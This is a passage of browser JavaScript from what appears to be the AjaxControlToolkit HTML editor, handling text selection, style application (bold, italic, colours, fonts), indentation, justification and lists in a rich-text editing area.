                        text.parentNode.appendChild(span1);
                    }

                    try {
                        range1.moveToElementText(span1);
                        range1.select();
                    } catch (e) { }
                    span1.parentNode.removeChild(span1);
                }
            }
            else {
                el.parentNode.removeChild(el);
            }
        }
    },

    _getParent: function(range) {
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            return range.parentElement();
        } else {
            return range.startContainer;
        }
    },

    _checkImages: function(element) {
        if (this._editPanel.get_relativeImages()) {
            var images = element.getElementsByTagName("IMG");

            for (var i = 0; i < images.length; i++) {
                var image = images[i];

                if (image.src.indexOf("http://") >= 0) {
                    var tmp = image.src;

                    image.src = "qwerty.gif";
                    var n = image.src.indexOf("qwerty.gif");

                    if (tmp.substr(0, n) == image.src.substr(0, n)) {
                        tmp = tmp.substr(n, tmp.length - n);
                    }

                    image.src = tmp;
                }
            }
        }
    },

    _getSafePlace: function(uel) {
        var el = this._doc.createElement("SPAN");
        var editor = this;
        el.id = AjaxControlToolkit.HTMLEditor.smartClassName;

        if (typeof uel == "undefined") {
            if (!this.insertHTML(AjaxControlToolkit.HTMLEditor.getHTML(el, true))) {
                return null;
            }
        } else {
            if (uel.nextSibling == null) {
                uel.parentNode.appendChild(el);
            } else {
                uel.parentNode.insertBefore(el, uel.nextSibling);
            }
            uel.parentNode.removeChild(uel);
        }

        el = this._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName);

        el.id = null;
        el.removeAttribute("id");
        el.setAttribute("para", "no");

        var parent = el.parentNode;
        var tagName = parent.tagName.toUpperCase();

        while (tagName != "BODY" && tagName != "TD" && tagName != "P" && tagName != "DIV") {
            if (AjaxControlToolkit.HTMLEditor.isStyleTag(parent.tagName)) {
                parent = parent.parentNode;
                tagName = parent.tagName.toUpperCase();
            } else {
                break;
            }
        }

        if (tagName == "P") {
            el.setAttribute("para", "");

            function diver(add, el, rpr, before) {
                var neighbour;
                var par = AjaxControlToolkit.HTMLEditor.myClone(rpr, editor._doc, false);

                if (add) {
                    par.appendChild(add);
                }

                while (el) {
                    if (el.nodeType == 1 || (el.nodeType == 3 && AjaxControlToolkit.HTMLEditor.Trim("" + el.data + "").length > 0)) {
                        var text = null;
                        if (el.tagName && el.tagName.toUpperCase() == "SCRIPT") {
                            text = el.text;
                        }

                        var ela = AjaxControlToolkit.HTMLEditor.myClone(el, editor._doc, true);

                        if (par.childNodes.length == 0 || !before) {
                            par.appendChild(ela);
                        } else {
                            par.insertBefore(ela, par.firstChild);
                        }

                        if (text != null) {
                            ela.text = text;
                        }
                    }
                    el = before ? el.previousSibling : el.nextSibling
                }

                if (par.childNodes.length == 0) {
                    delete par;
                    par = null;
                }

                if (rpr == parent) {
                    return par;
                } else {
                    return diver(par, before ? rpr.previousSibling : rpr.nextSibling, rpr.parentNode, before);
                }
            };

            var p1 = diver(null, el.previousSibling, el.parentNode, true);
            var p2 = diver(null, el.nextSibling, el.parentNode, false);

            var par = parent.parentNode;

            if (p1) {
                par.insertBefore(p1, parent);
                el.setAttribute("para", el.getAttribute("para") + " left");
            }
            par.insertBefore(el, parent);
            if (p2) {
                par.insertBefore(p2, parent);
                el.setAttribute("para", el.getAttribute("para") + " right");
            }
            par.removeChild(parent);
        }
        return el;
    },

    noContextMenuAttributeName: function() {
        return AjaxControlToolkit.HTMLEditor.noContextMenuAttribute;
    },

    _getTextNodeCollection: function(total) {
        var _result = [];
        if (this.isControl()) {
            return _result;
        }

        var sel = this._getSelection();
        var range = this._createRange(sel);

        var rn = AjaxControlToolkit.HTMLEditor.smartClassName + "_right";
        var ln = AjaxControlToolkit.HTMLEditor.smartClassName + "_left";
        var r_left = null;
        var r_right = null;
        var svs;
        if (typeof total == "undefined") {
            if (AjaxControlToolkit.HTMLEditor.isIE) {
                r_left = range.duplicate();
                r_right = range.duplicate();
                r_left.setEndPoint("EndToStart", range);
                r_right.setEndPoint("StartToEnd", range);
            } else {
                r_left = range.cloneRange();
                r_right = range.cloneRange();
                r_left.setEnd(r_left.startContainer, r_left.startOffset);
                r_right.setStart(r_right.endContainer, r_right.endOffset);
                svs = r_left.endOffset;
            }

            if (!this.insertHTML("<span id='" + rn + "'/>", r_right)) {
                return _result;
            } else {
                if (AjaxControlToolkit.HTMLEditor.isOpera) {
                    r_left.setEnd(r_left.startContainer, svs);
                    r_left.setStart(r_left.startContainer, svs);
                }
                if (!this.insertHTML("<span id='" + ln + "'/>", r_left)) {
                    var rP = this._doc.getElementById(rn);
                    if (rP != null) {
                        temp = rP.parentNode;
                        temp.removeChild(rP);
                    }
                    var rL = this._doc.getElementById(rl);
                    if (rL != null) {
                        temp = rL.parentNode;
                        temp.removeChild(rL);
                    }
                    return _result;
                }
            }
        } else {
            var span;

            span = this._doc.createElement("SPAN");
            span.id = rn;
            this._doc.body.appendChild(span);

            span = this._doc.createElement("SPAN");
            span.id = ln;
            this._doc.body.insertBefore(span, this._doc.body.firstChild);
        }

        var lPoint = this._doc.getElementById(ln);
        var rPoint = this._doc.getElementById(rn);

        if (lPoint == null || rPoint == null) {
            var temp;

            if (lPoint != null) {
                temp = lPoint.parentNode;
                temp.removeChild(lPoint);
            }
            if (rPoint != null) {
                temp = rPoint.parentNode;
                temp.removeChild(rPoint);
            }
            return [];
        }

        while (lPoint.firstChild) {
            lPoint.removeChild(lPoint.firstChild);
        }
        while (rPoint.firstChild) {
            rPoint.removeChild(rPoint.firstChild);
        }

        while (lPoint.previousSibling && lPoint.previousSibling.nodeType == 3 &&
              AjaxControlToolkit.HTMLEditor.Trim("" + lPoint.previousSibling.data + "").length == 0) {
            lPoint.parentNode.removeChild(lPoint.previousSibling);
        }

        while (lPoint.nextSibling && lPoint.nextSibling.nodeType == 3 &&
              AjaxControlToolkit.HTMLEditor.Trim("" + lPoint.nextSibling.data + "").length == 0) {
            lPoint.parentNode.removeChild(lPoint.nextSibling);
        }

        while (rPoint.previousSibling && rPoint.previousSibling.nodeType == 3 &&
              AjaxControlToolkit.HTMLEditor.Trim("" + rPoint.previousSibling.data + "").length == 0) {
            rPoint.parentNode.removeChild(rPoint.previousSibling);
        }

        while (rPoint.nextSibling && rPoint.nextSibling.nodeType == 3 &&
              AjaxControlToolkit.HTMLEditor.Trim("" + rPoint.nextSibling.data + "").length == 0) {
            rPoint.parentNode.removeChild(rPoint.nextSibling);
        }

        var _found = false;
        var editor = this;

        function _diver(_point, prize) {
            while (_point) {
                if (_point.id && _point.id == rn) {
                    _found = true;
                    return;
                }
                if (_point.nodeType == 3) {
                    while (_point.nextSibling &&
                            (
                            _point.nextSibling.nodeType == 3 ||
                            (!AjaxControlToolkit.HTMLEditor.isIE && typeof editor.__saveBM__ != "undefined" && editor.__saveBM__ != null && editor.__saveBM__[0] == _point.nextSibling)
                            )) {
                        if (_point.nextSibling.nodeType == 3) {
                            _point.data = "" + _point.data + "" + _point.nextSibling.data + "";
                        } else {
                            editor.__saveBM__[0] = _point;
                            editor.__saveBM__[1] = ("" + _point.data + "").length;
                        }

                        _point.parentNode.removeChild(_point.nextSibling);
                    }
                    if (AjaxControlToolkit.HTMLEditor.Trim("" + _point.data + "").length > 0) {
                        _result.push(_point);
                    }
                } else {
                    var tagName = _point.tagName;
                    if (_point.tagName) {
                        tagName = tagName.toUpperCase();
                        if (!(tagName == "MAP" || tagName == "AREA" || tagName == "SCRIPT" || tagName == "NOSCRIPT"))
                            if (!(_point.style && (AjaxControlToolkit.HTMLEditor.getStyle(_point, "display") == "none" || AjaxControlToolkit.HTMLEditor.getStyle(_point, "visibility") == "hidden"))) {
                            _diver(_point.firstChild, false);
                        }
                    }
                }

                if (_found) return;

                var _save = _point.parentNode;

                if (prize) {
                    while (_point.nextSibling == null) {
                        _point = _point.parentNode;
                    }
                }

                _point = _point.nextSibling;
            }
        };

        _diver(lPoint, true);
        var temp;

        temp = lPoint.parentNode;
        temp.removeChild(lPoint);
        temp = rPoint.parentNode;
        temp.removeChild(rPoint);

        if (typeof total == "undefined") {
            if (AjaxControlToolkit.HTMLEditor.isIE) {
                sel.empty();
                r_right.select();
            } else {
                if (_result.length > 0) {
                    this._removeAllRanges(sel);
                    var rrr = this._createRange();
                    rrr.setEnd(_result[_result.length - 1], _result[_result.length - 1].length);
                    rrr.setStart(_result[_result.length - 1], _result[_result.length - 1].length);
                    this._selectRange(sel, rrr);
                }
            }
        }

        return _result;
    },

    _getPlain: function() {
        var area = this._doc.createElement("textarea");
        area.width = "0";
        area.height = "0";
        this._doc.appendChild(area);
        var r = area.createTextRange();
        r.execCommand("paste");
        var res = area.value;
        res = res.replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/\r/g, "").replace(/\n/g, "<br/>");
        this._doc.removeChild(area);
        return res;
    },

    _execCommand: function(cmdID, UI, param) {
        var editor = this;
        var sel;
        var range;

        if (AjaxControlToolkit.HTMLEditor.isIE && !this.isControl()) {
            sel = this._getSelection();
            range = this._createRange(sel);

            var prnt = range.parentElement();
            if (prnt.tagName.toUpperCase() == "TEXTAREA") {
                return;
            }
        }

        if (cmdID.toLowerCase() != "createlink") {
            this._saveContent();
        }

        switch (cmdID.toLowerCase()) {
            case "createlink":
                if (AjaxControlToolkit.HTMLEditor.isIE || !UI) {
                    this._doc.execCommand(cmdID, UI, param);
                } else {
                    var param;
                    if ((param = prompt("Enter URL"))) {
                        this._doc.execCommand(cmdID, false, param);
                    }
                }
                break;

            case "backcolor":
            case "forecolor":
            case "fontname":
            case "fontsize":
                this.MSIE_applyCommand(cmdID.toLowerCase(), param);
                break;

            case "indent":
                this.MSIE_indent(true);
                break;

            case "outdent":
                this.MSIE_indent(false);
                break;

            case "justifyleft":
                this.MSIE_justify("left");
                break;

            case "justifyfull":
                this.MSIE_justify("justify");
                break;

            case "justifycenter":
                this.MSIE_justify("center");
                break;

            case "justifyright":
                this.MSIE_justify("right");
                break;

            case "paragraph":
                this.MSIE_justify("remain", false, "P");
                break;

            case "formatblock":
                if (param != null && typeof param == "string" && param.length == 2) {
                    if (param.substr(0, 1).toUpperCase() == "H" && parseInt(param.substr(1, 1)) > 0) {
                        this.MSIE_justify("remain", false, param);
                        break;
                    }
                }
                this._doc.execCommand(cmdID, UI, param);
                break;

            case "insertunorderedlist":
                this.MSIE_list("UL");
                break;

            case "insertorderedlist":
                this.MSIE_list("OL");
                break;

            case "bold":
            case "italic":
            case "underline":
            case "strikethrough":
            case "superscript":
            case "subscript":
                this.MSIE_applyCommand(cmdID.toLowerCase());
                break;

            default:
                this._doc.execCommand(cmdID, UI, param);
                break;
        }

        this.onContentChanged();

        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            sel = this._getSelection();
            range = this._createRange(sel);

            this._removeAllRanges(sel);

            this._selectRange(sel, range);
            this.focusEditor();
        }
        var editor = this;
        setTimeout(function() { editor._editPanel.updateToolbar(); }, 0);
    },

    MSIE_indent: function(increase) {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.MSIE_indent))(increase);
    },

    MSIE_justify: function(textAlign, addParameter, addParameter1) {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.MSIE_justify))(textAlign, addParameter, addParameter1);
    },

    MSIE_list: function(listTg) {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.MSIE_list))(listTg);
    },

    getSelectionAfterOperation: function(paragraphs) {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.getSelectionAfterOperation))(paragraphs);
    },

    setSelectionAfterOperation: function(pars, needJoiner) {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.setSelectionAfterOperation))(pars, needJoiner);
    },

    get_paragraphs: function() {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.get_paragraphs))();
    },

    getPseudoP: function() {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.getPseudoP))();
    },

    getPseudoP_Recur: function(lPoint, rPoint, r_level) {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.getPseudoP_Recur))(lPoint, rPoint, r_level);
    },

    unWrap: function(element, pars) {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.unWrap))(element, pars);
    },

    tryUnWrap: function(element, pars, force) {
        return (Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.tryUnWrap))(element, pars, force);
    },

    MSIE_applyCommand: function(cmd, par) {
        var selectedHTML = (!AjaxControlToolkit.HTMLEditor.isIE) ? AjaxControlToolkit.HTMLEditor.Trim(this.getSelectedHTML()) : "";

        if (this.isControl()) return;

        var sel = this._getSelection();
        var range = this._createRange(sel);
        var savedRange = (AjaxControlToolkit.HTMLEditor.isIE) ? [range.boundingLeft, range.boundingTop] : [range.startContainer, range.startOffset];
        var notEmpty = (AjaxControlToolkit.HTMLEditor.isIE && range.text.length > 0) || (!AjaxControlToolkit.HTMLEditor.isIE && selectedHTML.length > 0);

        var cssStyle = { name: "none", value: "none" };
        switch (cmd.toLowerCase()) {
            case "bold":
                cssStyle = { name: "font-weight", value: "bold", repl: false };
                break;
            case "italic":
                cssStyle = { name: "font-style", value: "italic", repl: false };
                break;
            case "underline":
                cssStyle = { name: "text-decoration", value: "underline", repl: false };
                break;
            case "strikethrough":
                cssStyle = { name: "text-decoration", value: "line-through", repl: false };
                break;
            case "superscript":
                cssStyle = { name: "vertical-align", value: "super", repl: false };
                break;
            case "subscript":
                cssStyle = { name: "vertical-align", value: "sub", repl: false };
                break;
            case "forecolor":
                cssStyle = { name: "color", value: par, repl: false };
                break;
            case "backcolor":
                cssStyle = { name: "background-color", value: par, repl: false };
                break;
            case "fontname":
                cssStyle = { name: "font-family", value: par, repl: false };
                break;
            case "fontsize":
                cssStyle = { name: "font-size", value: par, repl: false };
                break;
        }

        if (notEmpty) {
            var rng = this._getTextNodeCollection();
            this.MSIE_applyCssStyle(cssStyle, rng, true);
        }
        else {
            if (this.isControl()) return;

            var rng = this._tryExpand();

            if (rng.length > 0) {
                this.MSIE_applyCssStyle(cssStyle, rng, false);
                if (AjaxControlToolkit.HTMLEditor.isIE && this.__saveBM__ != null) {
                    sel = this._getSelection();
                    range = this._createRange(sel);
                    range.moveToBookmark(this.__saveBM__);
                    range.select();
                    this.__saveBM__ = null;
                } else {
                    if (this.__saveBM__ != null) {
                        if (this.__saveBM__[0].nodeType == 3) {
                            sel = this._getSelection();
                            range = this._doc.createRange();
                            range.setStart(this.__saveBM__[0], this.__saveBM__[1]);
                            range.setEnd(this.__saveBM__[0], this.__saveBM__[1]);
                            this._removeAllRanges(sel);
                            this._selectRange(sel, range);
                        } else {
                            this._trySelect(this.__saveBM__[0], this.__saveBM__[0]);
                            this.__saveBM__[0].parentNode.removeChild(this.__saveBM__[0]);
                        }
                        this.__saveBM__ = null;
                    }
                }
            } else {
                this._setStyleForTyping(cssStyle);
            }
        }
    },

    MSIE_applyCssStyle: function(cssStyle, rng, selectPrize) {
        var name = cssStyle.name.replace(/\-(\w)/g, function(strMatch, p1) { return p1.toUpperCase(); });
        var value = cssStyle.value;
        var repl = cssStyle.repl;
        var _detected = false;
        var _remove = false;

        this._saveContent();

        var rn = AjaxControlToolkit.HTMLEditor.smartClassName + "_right";
        var ln = AjaxControlToolkit.HTMLEditor.smartClassName + "_left";

        var lPoint = this._doc.createElement("SPAN");
        lPoint.id = ln;
        var rPoint = this._doc.createElement("SPAN");
        rPoint.id = rn;

        rng[0].parentNode.insertBefore(lPoint, rng[0]);

        if (rng[rng.length - 1].nextSibling != null) {
            rng[rng.length - 1].parentNode.insertBefore(rPoint, rng[rng.length - 1].nextSibling);
        } else {
            rng[rng.length - 1].parentNode.appendChild(rPoint);
        }

        AjaxControlToolkit.HTMLEditor.unStyle(lPoint);
        AjaxControlToolkit.HTMLEditor.unStyle(rPoint);


        var parentNodes = [];
        for (var i = 0; i < rng.length; i++) {
            var textNode = rng[i];
            var par = textNode.parentNode;

            var j;
            for (j = 0; j < parentNodes.length; j++) {
                var parent = parentNodes[j];
                if (parent.parent == par) {
                    parent.textNodes.push(textNode);
                    break;
                }
            }
            if (j == parentNodes.length) {
                parentNodes.push({ parent: par, textNodes: [textNode] });
            }
        }

        for (var i = 0; i < parentNodes.length; i++) {
            var parent = parentNodes[i];

            if (parent.textNodes.length > 1) {
                var textNodes = parent.textNodes;

                var lPointT = this._doc.createElement("SPAN");
                var rPointT = this._doc.createElement("SPAN");

                textNodes[0].parentNode.insertBefore(lPointT, textNodes[0]);

                if (textNodes[textNodes.length - 1].nextSibling != null) {
                    textNodes[textNodes.length - 1].parentNode.insertBefore(rPointT, textNodes[textNodes.length - 1].nextSibling);
                } else {
                    textNodes[textNodes.length - 1].parentNode.appendChild(rPointT);
                }

                AjaxControlToolkit.HTMLEditor._moveTagsUp(lPointT, rPointT);

                lPointT.parentNode.removeChild(lPointT);
                rPointT.parentNode.removeChild(rPointT);
            }
        }

        for (var i = 0; i < rng.length; i++) {
            var textNode = rng[i];
            var par = textNode.parentNode;
            var _found = false;

            while (par && par.tagName && par.childNodes.length == 1 && AjaxControlToolkit.HTMLEditor.isStyleTag(par.tagName)) {
                var parTag = par.tagName.toUpperCase();
                if (
                ((parTag == "I" || parTag == "EM") && cssStyle.name == "font-style") ||
                ((parTag == "B" || parTag == "STRONG") && cssStyle.name == "font-weight") ||
                ((parTag == "S" || parTag == "STRIKE") && cssStyle.name == "text-decoration") ||
                ((parTag == "U") && cssStyle.name == "text-decoration") ||
                ((parTag == "SUB" || parTag == "SUP") && cssStyle.name == "vertical-align")
                ) {
                    var parSaved = par;
                    par = par.parentNode;

                    while (parSaved.firstChild) {
                        par.insertBefore(parSaved.firstChild, parSaved);
                    }
                    par.removeChild(parSaved);

                    _found = true;
                    continue;
                }
                else if (par.style && par.style[name] && par.style[name].length > 0) {
                    var foundCss = par.style[name];

                    if (name.toLowerCase().indexOf("color") >= 0 || name == "fontFamily" || name == "fontSize") {
                        par.style[name] = value;
                    } else {
                        if (repl) {
                            try {
                                par.style[name] = par.style[name] + " " + value;

                                if (foundCss == par.style[name]) {
                                    par.style[name] = value;
                                }
                            } catch (e) {
                                par.style[name] = value;
                            }
                        } else {
                            if (!_detected) {
                                var sv = foundCss.replace(value, "");
                                if (name == "fontWeight" && foundCss.toString() == "700") {
                                    sv = "";
                                }

                                if (sv == foundCss) {
                                    try {
                                        par.style[name] = par.style[name] + " " + value;

                                        if (foundCss == par.style[name]) {
                                            par.style[name] = value;
                                        }
                                    } catch (e) {
                                        par.style[name] = value;
                                    }
                                } else {
                                    par.style[name] = sv.replace(/,/, "");
                                    _remove = true;
                                }
                                _detected = true;
                            } else {
                                if (_remove) {
                                    par.style[name] = foundCss.replace(value, "").replace(/,/, "");
                                } else {
                                    try {
                                        par.style[name] = par.style[name] + " " + value;

                                        if (foundCss == par.style[name]) {
                                            par.style[name] = value;
                                        }
                                    } catch (e) {
                                        par.style[name] = value;
                                    }
                                }
                            }
                        }
                    }

                    _found = true;
                }
                par = par.parentNode;
            }

            if (!_found && !_remove) {
                var span;

                span = this._doc.createElement("SPAN");
                span.style[name] = value;

                var parN = textNode.parentNode;
                parN.insertBefore(span, textNode);

                span.appendChild(textNode);
                _detected = true;
            }
        }

        var commonParent = AjaxControlToolkit.HTMLEditor._commonTotalParent(lPoint, rPoint);

        var pSibling = commonParent.parent.childNodes.item(commonParent.indexFirst).previousSibling;
        var nSibling = commonParent.parent.childNodes.item(commonParent.indexLast).nextSibling;

        lPoint.parentNode.removeChild(lPoint);
        rPoint.parentNode.removeChild(rPoint);

        var indexFirst = 0;
        var indexLast = commonParent.parent.childNodes.length;

        if (pSibling != null) {
            indexFirst = AjaxControlToolkit.HTMLEditor.__getIndex(pSibling);
        }

        if (nSibling != null) {
            indexLast = AjaxControlToolkit.HTMLEditor.__getIndex(nSibling) + 1;
            if (indexLast < commonParent.parent.childNodes.length) {
                if (nSibling.nodeType == 3) {
                    indexLast++;
                }
                else if (nSibling.nodeType == 1) {
                    var tag = nSibling.tagName.toUpperCase();
                    if (tag != "TR" && tag != "TD" && tag != "LI") {
                        indexLast++;
                    }
                }
            }
        }

        AjaxControlToolkit.HTMLEditor.spanJoiner(commonParent.parent, this._doc, indexFirst, indexLast);

        var editor = this;

        if (selectPrize) {
            editor._selectRng(rng);
        }

        setTimeout(function() {
            if (!AjaxControlToolkit.HTMLEditor.isIE) {
                editor.focusEditor();
            }
            editor._editPanel.updateToolbar();
        }, 0);
    },

    _tryExpand: function(prize) {
        var result = [];
        var selectedHTML;
        var notEmpty;

        var sel = this._getSelection();
        var range = this._createRange(sel);
        var sel1;
        var range1;

        var rn = AjaxControlToolkit.HTMLEditor.smartClassName + "_right_add";
        var ln = AjaxControlToolkit.HTMLEditor.smartClassName + "_left_add";
        var mn = AjaxControlToolkit.HTMLEditor.smartClassName + "_middle_add";

        if (AjaxControlToolkit.HTMLEditor.isIE && typeof prize == "undefined") {
            range.execCommand('bold');
            this.__saveBM__ = range.getBookmark();
            range.execCommand('bold');
        }

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            var mn_element = null;
            var mn_span_text = "<span id=" + mn + "></span>";
            var save_range = range.duplicate();

            try { range.pasteHTML(mn_span_text); } catch (ex) { }

            mn_element = this._doc.getElementById(mn);

            if (mn_element == null) {
                return [];
            }

            if (typeof prize != "undefined") {
                this.__saveBM__ = mn_element;
            }

            if (mn_element.nextSibling != null && !AjaxControlToolkit.HTMLEditor.isInlineElement(mn_element.nextSibling)) {
                mn_element.parentNode.removeChild(mn_element);
                return [];
            }

            range.expand('word');
            range.select();

            if (range.text.length == 0) {
                mn_element.parentNode.removeChild(mn_element);
                save_range.select();
                return [];
            }

            var re = new RegExp(mn_span_text, "ig");
            if (!re.test(range.htmlText.replace(/[\n\r]/g, ""))) {
                mn_element.parentNode.removeChild(mn_element);
                save_range.select();
                return [];
            }

            re = new RegExp(mn_span_text + "(</span>|&nbsp;|[\\s])*$", "ig");
            if (re.test(range.htmlText.replace(/[\n\r]/g, ""))) {
                mn_element.parentNode.removeChild(mn_element);
                save_range.select();
                return [];
            }

            while (range.text.length > 0 && range.text.substr(range.text.length - 1, 1) == " ") {
                range.moveEnd('character', -1);
                range.select();
                if (range.text.length == 0) {
                    mn_element.parentNode.removeChild(mn_element);
                    save_range.select();
                    return [];
                }
            }


            if (typeof prize == "undefined") {
                mn_element.parentNode.removeChild(mn_element);
            }

            return this._getTextNodeCollection();
        }


        function wordBound(c) {
            var re = /[\d\w]/;
            if (re.test(c)) return false;
            re = /[\u0080-\u024F]/;
            if (re.test(c)) return false;
            re = /[\u0370-\u2000]/;
            if (re.test(c)) return false;
            return true;
        }

        if (!this.insertHTML("<span id='" + ln + "'></span><span id='" + mn + "'></span><span id='" + rn + "'></span>")) return [];

        var lPoint = this._doc.getElementById(ln);
        var rPoint = this._doc.getElementById(rn);
        var mPoint = this._doc.getElementById(mn);

        AjaxControlToolkit.HTMLEditor.positionInParagraph(lPoint, lPoint.previousSibling, true, lPoint.parentNode, wordBound);
        try { this._trySelect(lPoint, rPoint); } catch (ex) { }

        sel1 = this._getSelection();
        range1 = this._createRange(sel1);
        selectedHTML = (!AjaxControlToolkit.HTMLEditor.isIE) ? AjaxControlToolkit.HTMLEditor.Trim(this.getSelectedHTML()) : "";
        notEmpty = (AjaxControlToolkit.HTMLEditor.isIE && range1.text.length > 0) || (!AjaxControlToolkit.HTMLEditor.isIE && selectedHTML.length > 0);

        if (!notEmpty || this._getTextNodeCollection().length == 0) {
            var text1 = this._doc.createTextNode("");

            lPoint.parentNode.insertBefore(text1, lPoint);
            lPoint.parentNode.removeChild(lPoint);
            rPoint.parentNode.removeChild(rPoint);
            mPoint.parentNode.removeChild(mPoint);

            var range = this._doc.createRange();
            range.setStart(text1, 0);
            range.setEnd(text1, 0);
            range.setStart(text1, 0);
            range.setEnd(text1, 0);

            this._removeAllRanges(sel);
            this._selectRange(sel, range);

            return [];
        }

        rPoint.parentNode.insertBefore(lPoint, mPoint);

        AjaxControlToolkit.HTMLEditor.positionInParagraph(rPoint, rPoint.nextSibling, false, rPoint.parentNode, wordBound);
        this._trySelect(lPoint, rPoint);

        sel1 = this._getSelection();
        range1 = this._createRange(sel1);
        selectedHTML = (!AjaxControlToolkit.HTMLEditor.isIE) ? AjaxControlToolkit.HTMLEditor.Trim(this.getSelectedHTML()) : "";
        notEmpty = (AjaxControlToolkit.HTMLEditor.isIE && range1.text.length > 0) || (!AjaxControlToolkit.HTMLEditor.isIE && selectedHTML.length > 0);

        if (!notEmpty || this._getTextNodeCollection().length == 0) {
            var text1 = this._doc.createTextNode("");

            lPoint.parentNode.insertBefore(text1, lPoint);
            lPoint.parentNode.removeChild(lPoint);
            rPoint.parentNode.removeChild(rPoint);
            mPoint.parentNode.removeChild(mPoint);

            var range = this._doc.createRange();
            range.setStart(text1, 0);
            range.setEnd(text1, 0);
            range.setStart(text1, 0);
            range.setEnd(text1, 0);

            this._removeAllRanges(sel);
            this._selectRange(sel, range);

            return [];
        }

        AjaxControlToolkit.HTMLEditor.positionInParagraph(lPoint, lPoint.previousSibling, true, lPoint.parentNode, wordBound);
        this._trySelect(lPoint, rPoint);
        sel1 = this._getSelection();
        range1 = this._createRange(sel1);
        selectedHTML = (!AjaxControlToolkit.HTMLEditor.isIE) ? AjaxControlToolkit.HTMLEditor.Trim(this.getSelectedHTML()) : "";
        notEmpty = (AjaxControlToolkit.HTMLEditor.isIE && range1.text.length > 0) || (!AjaxControlToolkit.HTMLEditor.isIE && selectedHTML.length > 0);

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            if (typeof prize != "undefined") {
                this.__saveBM__ = mPoint;
            } else {
                mPoint.parentNode.removeChild(mPoint);
            }
        } else {
            this.__saveBM__ = [mPoint, 0];
        }

        if (notEmpty) {
            result = this._getTextNodeCollection();
        }

        lPoint.parentNode.removeChild(lPoint);
        rPoint.parentNode.removeChild(rPoint);

        return result;
    },

    _setStyleForTyping: function(cssStyle) {
        var name = cssStyle.name.replace(/\-(\w)/g, function(strMatch, p1) { return p1.toUpperCase(); });
        var value = cssStyle.value;
        var repl = cssStyle.repl;

        if (this._StyleForTyping == null) {
            this._StyleForTyping = [];
        }

        var n_arr = []
        var needApply = true;
        for (var i = 0; i < this._StyleForTyping.length; i++) {
            var i_name = this._StyleForTyping[i].name.replace(/\-(\w)/g, function(strMatch, p1) { return p1.toUpperCase(); });
            var i_value = this._StyleForTyping[i].value;

            if (!(i_name == name && (i_value == value || repl))) {
                n_arr.push(this._StyleForTyping[i]);
            } else {
                needApply = false;
            }
        }

        this._StyleForTyping = n_arr;
        if (needApply) {
            this._StyleForTyping.push(cssStyle);
        }
    },

    _trySelect: function(lPoint, rPoint) {
        var sel = this._getSelection();
        var text1 = null;
        var text2 = null;

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            sel.empty();
            sel = this._getSelection();
            var range1 = this._createRange(sel);
            var range2 = this._createRange(sel);

            try {
                if (lPoint != null) range1.moveToElementText(lPoint);
                if (rPoint != null) range2.moveToElementText(rPoint);

                if (lPoint != null && rPoint != null) {
                    range1.setEndPoint("EndToEnd", range2);
                    range1.select();
                }
                else if (lPoint != null) range1.select();
                else if (rPoint != null) range2.select();

            } catch (e) { }
        } else {
            try {
                text1 = this._doc.createTextNode("");
                text2 = this._doc.createTextNode("");

                lPoint.parentNode.insertBefore(text1, lPoint);
                rPoint.parentNode.insertBefore(text2, rPoint);

                var range = this._doc.createRange();
                range.setStart(text1, 0);
                range.setEnd(text2, 0);

                this._removeAllRanges(sel);
                this._selectRange(sel, range);
            } catch (e) { }
        }
    },

    getSelectedHTML: function() {
        var sel = this._getSelection();
        var range = this._createRange(sel);
        var existing = null;
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            existing = range.htmlText;
        } else {
            if (AjaxControlToolkit.HTMLEditor.isSafari && (sel.type == "Caret" || sel.type == "None")) {
                existing = "";
            } else {
                if (AjaxControlToolkit.HTMLEditor.isSafari) {
                    if (range.cloneContents() == null) {
                        return "";
                    }
                }
                existing = AjaxControlToolkit.HTMLEditor.getHTML(range.cloneContents(), false);
            }
        }
        return existing;
    },

    _queryCommandState: function(cmdID) {
        var obj = this._rangeStartEnd();
        if (obj == null) return false;

        try {
            var cssStyle = { name: "none", value: "none" };
            switch (cmdID.toLowerCase()) {
                case "bold":
                    cssStyle = { name: "font-weight", value: "bold" };
                    break;
                case "italic":
                    cssStyle = { name: "font-style", value: "italic" };
                    break;
                case "underline":
                    cssStyle = { name: "text-decoration", value: "underline" };
                    break;
                case "strikethrough":
                    cssStyle = { name: "text-decoration", value: "line-through" };
                    break;
                case "superscript":
                    cssStyle = { name: "vertical-align", value: "super" };
                    break;
                case "subscript":
                    cssStyle = { name: "vertical-align", value: "sub" };
                    break;
            }

            var el1 = obj.start;
            var el2 = obj.end;
            var cs1 = AjaxControlToolkit.HTMLEditor.getStyle(el1, cssStyle.name).toString().toLowerCase();
            var cs2 = AjaxControlToolkit.HTMLEditor.getStyle(el2, cssStyle.name).toString().toLowerCase();

            if (cssStyle.name == "font-weight" && cs1 == "700") cs1 = "bold";
            if (cssStyle.name == "font-weight" && cs2 == "700") cs2 = "bold";

            if (/MSIE (5|6)/.test(navigator.userAgent) && cmdID.toLowerCase() == "strikethrough" && (cs1 == "underline" || cs2 == "underline")) {
                while (el1 && AjaxControlToolkit.HTMLEditor.isStyleTag(el1.tagName)) {
                    if (el1.style.textDecoration.indexOf("line-through") >= 0) {
                        cs1 = el1.style.textDecoration;
                        break;
                    }
                    el1 = el1.parentNode;
                }
                while (el2 && AjaxControlToolkit.HTMLEditor.isStyleTag(el2.tagName)) {
                    if (el2.style.textDecoration.indexOf("line-through") >= 0) {
                        cs2 = el2.style.textDecoration;
                        break;
                    }
                    el2 = el2.parentNode;
                }
            }

